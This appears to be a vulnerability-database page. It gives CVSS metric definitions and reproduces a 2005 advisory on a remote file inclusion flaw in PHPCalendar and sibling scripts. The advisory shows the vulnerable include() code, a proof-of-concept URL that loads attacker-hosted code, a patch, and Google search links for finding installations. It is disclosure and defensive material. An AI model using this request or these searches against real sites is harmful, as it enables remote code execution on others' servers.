The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
PHPCalendar (and some more codegrrl.com products) arbitrary code execution
========================================================================
==
Software: PHPCalendar, PHPClique, PHPFanBase, PHPCurrently, PHPQuotes
Severity: Arbitrary code execution
Risk: High
Author: Robin Verton <r.verton (at) gmail (dot) com [email concealed]>
Date: Sep. 24 2005
Vendor: codegrrl.com [contacted]
Description:
Written in PHP/MySQL, PHPCalendar is a script designed especially to help webmasters to mantain a calendar, with all upcoming events and birthdays.
It was designed to be used at personal sites, but it can also be very useful for fansites, to keep track of tours, premiers, awards shows,
tv apearances, interviews, magazines features, and many more! You can see it in use at unfloopy.net.
[http://www.codegrrl.com/]
Details:
1) protection.php (with register_globals = On)
If register_globals is on an attacker can include an arbitrary php file to execute malicious code.
$logout_page = "$siteurl";
[...]
if ($action == "logout")
{
Setcookie("logincookie[pwd]","",time() -86400);
Setcookie("logincookie[user]","",time() - 86400);
@include($logout_page);
exit;
}
Proof of Concept:
To exploit this vulnerability an attacker only has to use the following HTTP-Request:
http://www.example.com/protection.php?action=logout&siteurl=http://yourh
ost.com/malicoius-code.txt
Patch:
Set register_globals in the php.ini off or disallow direct access to the protection.php f.e. define constants and use
code like
if( !defined('IN_SYS') ) {
die('Hacking attempt');
}
to prevent the direct access
Credits:
Credit goes to Robin Verton, 15 years old from Germany
References:
[1] http://codegrrl.com
[2] http://www.google.com/search?q=%22Powered+by%3A+PHPFanBase%22 [about 112,000 results]
[3] http://www.google.com/search?q=%22Powered+by%3A+PHPCalendar%22 [about 44,000 results]
[4] http://www.google.com/search?q=%22Powered+by%3A+PHPCurrently%22 [about 44,000 results]
[5] http://www.google.com/search?q=%22Powered+by%3A+PHPClique%22
[6] http://www.google.com/search?q=%22Powered+by%3A+PHPQuotes%22
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum